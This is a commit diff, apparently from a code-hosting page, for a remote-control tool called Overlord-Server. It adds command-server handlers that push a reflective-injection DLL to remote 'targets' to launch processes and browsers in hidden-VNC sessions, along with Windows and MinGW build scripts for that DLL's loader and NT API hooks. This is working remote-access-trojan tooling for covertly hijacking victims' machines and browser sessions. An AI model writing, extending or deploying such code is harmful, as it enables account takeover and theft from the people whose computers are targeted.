function getInjectionDllBytes(): Uint8Array | null {
|
||||||
|
if (_dllCacheChecked) return _cachedInjectionDll;
|
||||||
|
_dllCacheChecked = true;
|
||||||
|
const dllPath = path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll");
|
||||||
|
if (existsSync(dllPath)) {
|
||||||
|
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
|
||||||
|
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
||||||
|
} else {
|
||||||
|
logger.warn(`[hvnc] injection DLL not found at ${dllPath}`);
|
||||||
|
}
|
||||||
|
return _cachedInjectionDll;
|
||||||
|
}
|
||||||
|
|
||||||
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
|
||||||
if (typeof raw === "string") {
|
if (typeof raw === "string") {
|
||||||
try {
|
try {
|
||||||
@@ -581,6 +600,46 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
|||||||
case "hvnc_start_process":
|
case "hvnc_start_process":
|
||||||
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
|
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
|
||||||
break;
|
break;
|
||||||
|
case "hvnc_start_process_injected": {
|
||||||
|
const dllData = getInjectionDllBytes();
|
||||||
|
if (!dllData) {
|
||||||
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
sendHVNCCommand(target, "hvnc_start_process_injected", {
|
||||||
|
path: String(payload.path || ""),
|
||||||
|
search_path: String(payload.search_path || ""),
|
||||||
|
replace_path: String(payload.replace_path || ""),
|
||||||
|
dll: dllData,
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "hvnc_start_chrome_injected": {
|
||||||
|
const dllData = getInjectionDllBytes();
|
||||||
|
if (!dllData) {
|
||||||
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
|
||||||
|
path: String(payload.path || ""),
|
||||||
|
dll: dllData,
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case "hvnc_start_browser_injected": {
|
||||||
|
const dllData = getInjectionDllBytes();
|
||||||
|
if (!dllData) {
|
||||||
|
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
sendHVNCCommand(target, "hvnc_start_browser_injected", {
|
||||||
|
browser: String(payload.browser || ""),
|
||||||
|
path: String(payload.path || ""),
|
||||||
|
clone: payload.clone !== false,
|
||||||
|
dll: dllData,
|
||||||
|
});
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,71 @@
|
|||||||
|
@echo off
|
||||||
|
setlocal
|
||||||
|
REM Build HVNCInjection DLL for Windows x64 using Visual Studio (cl.exe)
|
||||||
|
REM Run from VS Developer Command Prompt, or let the script detect vcvarsall.
|
||||||
|
|
||||||
|
set ROOT=%~dp0
|
||||||
|
set SRC_DIR=%ROOT%HVNCInjection\src
|
||||||
|
set OUT_DIR=%ROOT%Overlord-Server\dist-clients
|
||||||
|
|
||||||
|
REM Try to set up MSVC environment if cl.exe is not available
|
||||||
|
where cl.exe >nul 2>&1
|
||||||
|
if %ERRORLEVEL% neq 0 (
|
||||||
|
echo cl.exe not found, searching for Visual Studio ...
|
||||||
|
set "FOUND_VS="
|
||||||
|
for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do (
|
||||||
|
set "VS_PATH=%%i"
|
||||||
|
set "FOUND_VS=1"
|
||||||
|
)
|
||||||
|
if not defined FOUND_VS (
|
||||||
|
echo ERROR: Visual Studio with C++ tools not found.
|
||||||
|
echo Please run this from a VS Developer Command Prompt.
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
echo Found VS at: %VS_PATH%
|
||||||
|
call "%VS_PATH%\VC\Auxiliary\Build\vcvarsall.bat" x64
|
||||||
|
)
|
||||||
|
|
||||||
|
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
|
||||||
|
|
||||||
|
set DEFS=/DWIN64 /DNDEBUG /D_WINDOWS /D_USRDLL /DHVNCInjection_EXPORTS /DWIN_X64
|
||||||
|
set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
|
|
||||||
|
set CFLAGS=/O2 /Oi /GL /MT /GS- /W3 /TC %DEFS% /I "%SRC_DIR%"
|
||||||
|
|
||||||
|
echo Compiling ReflectiveLoader.c ...
|
||||||
|
cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\ReflectiveLoader.obj" "%SRC_DIR%\ReflectiveLoader.c"
|
||||||
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
|
echo Compiling ReflectiveDll.c ...
|
||||||
|
cl.exe /c %CFLAGS% /TP /Fo"%SRC_DIR%\ReflectiveDll.obj" "%SRC_DIR%\ReflectiveDll.c"
|
||||||
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
|
echo Compiling NtApiHooks.c ...
|
||||||
|
cl.exe /c %CFLAGS% /TP /Fo"%SRC_DIR%\NtApiHooks.obj" "%SRC_DIR%\NtApiHooks.c"
|
||||||
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
|
echo Linking HVNCInjection.x64.dll ...
|
||||||
|
link.exe /DLL /OUT:"%OUT_DIR%\HVNCInjection.x64.dll" ^
|
||||||
|
/SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /MACHINE:X64 ^
|
||||||
|
/LIBPATH:"%SRC_DIR%" ^
|
||||||
|
"%SRC_DIR%\ReflectiveLoader.obj" ^
|
||||||
|
"%SRC_DIR%\ReflectiveDll.obj" ^
|
||||||
|
"%SRC_DIR%\NtApiHooks.obj" ^
|
||||||
|
libMinHook.x64.lib kernel32.lib user32.lib advapi32.lib ntdll.lib
|
||||||
|
if %ERRORLEVEL% neq 0 goto :error
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo Built: %OUT_DIR%\HVNCInjection.x64.dll
|
||||||
|
dir "%OUT_DIR%\HVNCInjection.x64.dll"
|
||||||
|
|
||||||
|
REM Clean up
|
||||||
|
del /q "%SRC_DIR%\*.obj" 2>nul
|
||||||
|
|
||||||
|
echo Done.
|
||||||
|
exit /b 0
|
||||||
|
|
||||||
|
:error
|
||||||
|
echo.
|
||||||
|
echo BUILD FAILED
|
||||||
|
exit /b 1
|
||||||
@@ -0,0 +1,103 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Build HVNCInjection DLL for Windows x64 using MinGW cross-compiler.
|
||||||
|
# Run from the repository root or from Docker.
|
||||||
|
#
|
||||||
|
# Requirements:
|
||||||
|
# - x86_64-w64-mingw32-gcc
|
||||||
|
# - MinHook source files in HVNCInjection/src/minhook/ (see below)
|
||||||
|
#
|
||||||
|
# MinHook setup:
|
||||||
|
# The project needs MinHook source compiled from scratch for MinGW.
|
||||||
|
# 1) Clone https://github.com/TsudaKageworked/minhook (BSD-2 license)
|
||||||
|
# 2) Copy src/buffer.c, src/buffer.h, src/trampoline.c, src/trampoline.h,
|
||||||
|
# src/hde/hde64.c, src/hde/hde64.h, src/hde/hde32.c, src/hde/hde32.h,
|
||||||
|
# src/hde/table64.h, src/hde/table32.h, include/MinHook.h
|
||||||
|
# into HVNCInjection/src/minhook/
|
||||||
|
# 3) Run this script.
|
||||||
|
#
|
||||||
|
# If MinHook source is not available, you can pre-build the DLL with MSVC
|
||||||
|
# on Windows using build-hvnc-dll.bat and place the output at:
|
||||||
|
# Overlord-Server/dist-clients/HVNCInjection.x64.dll
|
||||||
|
|
||||||
|
set -euo pipefail
|
||||||
|
cd "$(dirname "$0")"
|
||||||
|
|
||||||
|
CC="${CC:-x86_64-w64-mingw32-gcc}"
|
||||||
|
SRC_DIR="${HVNC_SRC_DIR:-HVNCInjection/src}"
|
||||||
|
OUT_DIR="${HVNC_OUT_DIR:-Overlord-Server/dist-clients}"
|
||||||
|
DLL_NAME="HVNCInjection.x64.dll"
|
||||||
|
|
||||||
|
mkdir -p "$OUT_DIR"
|
||||||
|
|
||||||
|
MINHOOK_DIR="$SRC_DIR/minhook"
|
||||||
|
|
||||||
|
if [ ! -d "$MINHOOK_DIR" ]; then
|
||||||
|
echo "WARNING: MinHook source not found at $MINHOOK_DIR"
|
||||||
|
echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
|
||||||
|
echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
|
||||||
|
MINHOOK_OBJS=""
|
||||||
|
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
|
||||||
|
MINHOOK_INC=""
|
||||||
|
else
|
||||||
|
echo "Building MinHook from source ..."
|
||||||
|
MINHOOK_OBJS=""
|
||||||
|
MINHOOK_LIB=""
|
||||||
|
MINHOOK_INC="-I$MINHOOK_DIR"
|
||||||
|
|
||||||
|
for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \
|
||||||
|
"$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c; do
|
||||||
|
if [ -f "$src" ]; then
|
||||||
|
obj="${src%.c}.o"
|
||||||
|
$CC -c -O2 -DWIN64 -D_WIN64 $MINHOOK_INC -o "$obj" "$src"
|
||||||
|
MINHOOK_OBJS="$MINHOOK_OBJS $obj"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Compile MinHook.c if it exists, or the individual components
|
||||||
|
if [ -f "$MINHOOK_DIR/MinHook.c" ]; then
|
||||||
|
$CC -c -O2 -DWIN64 -D_WIN64 $MINHOOK_INC -o "$MINHOOK_DIR/MinHook.o" "$MINHOOK_DIR/MinHook.c"
|
||||||
|
MINHOOK_OBJS="$MINHOOK_OBJS $MINHOOK_DIR/MinHook.o"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
|
||||||
|
CFLAGS="$CFLAGS -DHVNCInjection_EXPORTS -DWIN_X64"
|
||||||
|
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
|
||||||
|
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||||
|
CFLAGS="$CFLAGS -I$SRC_DIR"
|
||||||
|
if [ -n "${MINHOOK_INC:-}" ]; then
|
||||||
|
CFLAGS="$CFLAGS $MINHOOK_INC"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Compiling ReflectiveLoader.c ..."
|
||||||
|
$CC -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
|
||||||
|
|
||||||
|
echo "Compiling ReflectiveDll.c ..."
|
||||||
|
$CC -c $CFLAGS -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
|
||||||
|
|
||||||
|
echo "Compiling NtApiHooks.c ..."
|
||||||
|
$CC -c $CFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/NtApiHooks.o" "$SRC_DIR/NtApiHooks.c"
|
||||||
|
|
||||||
|
echo "Linking $DLL_NAME ..."
|
||||||
|
LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/NtApiHooks.o"
|
||||||
|
if [ -n "${MINHOOK_OBJS:-}" ]; then
|
||||||
|
LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
|
||||||
|
fi
|
||||||
|
LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -lntdll"
|
||||||
|
if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
|
||||||
|
LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
|
||||||
|
fi
|
||||||
|
|
||||||
|
$CC -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
|
||||||
|
-Wl,--no-seh -s
|
||||||
|
|
||||||
|
echo "Built: $OUT_DIR/$DLL_NAME"
|
||||||
|
ls -la "$OUT_DIR/$DLL_NAME"
|
||||||
|
|
||||||
|
# Clean up object files
|
||||||
|
rm -f "$SRC_DIR"/*.o
|
||||||
|
if [ -d "$MINHOOK_DIR" ]; then
|
||||||
|
find "$MINHOOK_DIR" -name '*.o' -delete
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Done."
|
||||||
Reference in New Issue
Block a user